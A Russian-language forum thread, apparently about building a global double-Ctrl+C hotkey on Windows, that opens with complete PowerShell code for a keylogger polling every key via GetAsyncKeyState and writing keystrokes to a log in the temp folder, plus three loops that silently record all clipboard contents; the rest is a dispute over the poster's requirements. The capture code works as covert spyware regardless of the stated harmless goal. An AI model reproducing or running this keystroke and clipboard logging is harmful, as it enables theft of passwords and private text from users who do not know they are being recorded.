Без отправки данных на сервер, на PowerShell ловить события клавиатуры и писать в локальный лог можно так:

$MAPVK_VSC_TO_VK_EX = 0x03

$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru

$ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд
$logfile = "$env:temp\key.log" # путь к файлу журнала

while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $gotit = ""
    for ($char = 1; $char -le 254; $char++) {        
        $gotit = $getKeyState::GetAsyncKeyState($char)
        if ($gotit -eq -32767) {
            $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX)

            $kbstate = New-Object Byte[] 256
            $checkkbstate = $getKBState::GetKeyboardState($kbstate)

            $mychar = New-Object -TypeName "System.Text.StringBuilder";
            $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

            if ($unicode_res -gt 0) {                
                [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode)
            }
        }
    }
}

С буфером обмена решил так:

Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд
$cbtext = ""
$cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $tb = New-Object System.Windows.Forms.TextBox
    $tb.Multiline = $true
    $tb.Paste()
    $cb = $tb.Text
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

С буфером можно и так:

$ss_ms = 500
$cbtext = ""
$logfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $cb = [System.Windows.Clipboard]::GetText()
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

или так:

Add-Type -AssemblyName System.Windows.Forms
$ss_ms = 500
$cbtext = ""
$logfile = "$env:temp\key.log"
while ($true) {
    Start-Sleep -Milliseconds $ss_ms
    $cb = [Windows.Forms.Clipboard]::GetText()
    if ($cbtext -ne $cb) {
        $cbtext = $cb
        Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $cbtext.ToString()        
    }
}

но таким образом через командлет Start-Job не прокатит.

У Вас
1) вначале пользователь обязан засунуть в clipboard по Ctrl+C нечто
2) а потом выполнить еще одно действие Ctrl+(Shift/Alt)+C
Кроме того - пользователю нужно еще объяснить, чтобы он не забыл создать неким особенным ( он такого обычно не делает ) образом ярлык при установке программы на свой комп .
...
Не - мне как-раз НЕ надо никаких дополнительных тулзов - самый что ни на есть нативный подход - только то, что Windows- только WSH .
...
Кстати, есть же какие-то (не помню, как их звать) оболочки в виде dll, вроде DynamicWrapperX или что-то в этом роде, которая умеет работать с COM объектами Windows, если мне склероз не изменяет . Что ж - с помощью их нельзя в скриптах поймать нажатие клавиши ?

Вопрос - как ?! Ну да - пользователю придется инсталлировать DynamicWrapperX , а может - даже и непридется -  это в самом скрипте можно организовать.
...
Вы думаете я не знаю - что я хочу ?

Ребята, это аут...

Может еще и следящая за нажатыми хоткеями тулза на AutoIt поможет, хотя легче организовать облегченную для пользователя процедуру установки ярлыка с хоткеем Ctrl+Shift+C / Ctrl+Alt+C, т.к. резидентную тулзу ведь тоже надо будет предварительно устанавливать и стартовать.

оффтоп
кстати, у меня на Лингво под WinXP комбинация Ctrl+C - Ctrl+C работает, а на Win-7 - уже нет, хотя в настройках наче и включена, правда версии Лингво немного разные...

kefi, флаг Вам в руки. Два направления исследований Вам были указаны.

Если текст где то выделяется, значит интерфейс уже какой то есть. Текст же рисуется не на рабочем столе, а в форме (окне) некоторого приложения ? Опять же, логичный вопрос, приложение чужое или собственной разработки ?

К чему говорить о каком-то приложении ( второй день пошел , как толкем воду - видимо, все настолько ясно, что никто из корифеев не может осознать , что могут быть столь простейшие желания, придумывая какие-то сложности в постановке
Вот к чему эти придирки :

ну понятно же - что невозможно одновременно нажать одну и ту же клавишу, так чего тут мусолить этот момент ?
Или  - эти рассуждения, что "алгоритму нельзя передать управление" - что за иезуитская софистика !?
)

Так вот , неважно в каком приложении - я же сразу сказал - ВЕЗДЕ, где только в Windows возможно это сделать ( выделить текст и послать его в буфер) - в любом месте , где работает текстовый редактор Windows  - да, хоть при переименовании имени ярлыка . Разговор об интерфейсе тут ни к чему.

Вы думаете я не знаю - что я хочу ? Я просто удивлен, что столь примитивные желания приходится толочь в объяснениях целый день, после чего alexii заявляет , что это невозможно - а чтоб сразу не сказать ( ?! )...

Я хочу супер банального: пользователь выделяет текст , отправляет его по Ctrl+C в буфер обмена, после добавляет быстренько (видимо, с настраиваемой в программе задержкой) еще одно нажатие C ( типа , как мы это делаем при вызове переводчика Lingvo, только там Ctrl+Ins+Ins ) и  - как результат, видит у себя на экране некое окошечко , выданное обсуждаемой программкой. Все. Система WinXP SP3, PowerShell не знаю - есть там или нет - точнее, просто не знаю про PowerShell ничего ( это для ясности ).

Про keylogger - это Ваше объяснение или Ваш вопрос мне ?

Это и вопрос и предположение.

Если текст где то выделяется, значит интерфейс уже какой то есть. Текст же рисуется не на рабочем столе, а в форме (окне) некоторого приложения ? Опять же, логичный вопрос, приложение чужое или собственной разработки ?

P.S "Вызвать алгоритм" нельзя. Вызвать можно неотложку, такси, врача или демона на крайний случай. ) А алгоритм можно составить. ) Ибо он всего лишь -

Нет. Я не придираюсь к словам. Я стараюсь Вам помочь понять, чего Вы хотите. )